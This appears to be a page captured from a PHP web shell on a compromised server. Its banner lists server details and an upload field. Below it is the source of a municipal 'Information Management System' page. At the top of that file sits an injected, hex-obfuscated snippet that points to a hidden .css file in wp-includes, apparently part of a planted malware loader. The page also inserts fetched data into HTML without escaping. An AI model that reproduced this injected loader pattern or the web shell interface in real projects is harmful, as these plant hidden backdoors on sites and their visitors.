| Server IP : 69.72.244.102 / Your IP : 216.73.216.164 Web Server : LiteSpeed System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64 User : konzalta ( 1271) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/konzalta/gikuyu.online/egov/ |
Upload File : |
<?php
/*4defc*/
$rdahm0 = "/home/konzalta/gikuyu.online/w\x70\x2dincludes/blocks/read\x2dmore/.107f3de1.css"; if (129 - 100){ }
/*4defc*/
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Information Management System</title>
<!-- Bootstrap CSS -->
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h2>Management System</h2>
<table class="table">
<thead>
<tr>
<th>Ward</th>
<th>Location</th>
<th>Issue</th>
<th>Status</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="data-body">
<!-- Table body will be populated dynamically -->
</tbody>
</table>
</div>
<!-- Bootstrap JS and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.4/dist/umd/popper.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<!-- Your custom script to fetch MySQL data and populate the table -->
<script>
// Fetch MySQL data and populate the table
$(document).ready(function() {
$.ajax({
url: 'fetch_data.php', // Replace with your backend script to fetch data
type: 'GET',
success: function(response) {
// Assuming response is an array of objects with properties: ward, location, issue, status
response.forEach(function(row) {
$('#data-body').append('<tr>' +
'<td>' + row.ward + '</td>' +
'<td>' + row.location + '</td>' +
'<td>' + row.issue + '</td>' +
'<td>' + row.status + '</td>' +
'<td>' +
// Add action buttons here if needed
'</td>' +
'</tr>');
});
},
error: function(xhr, status, error) {
console.error('Error fetching data:', error);
}
});
});
</script>
</body>
</html>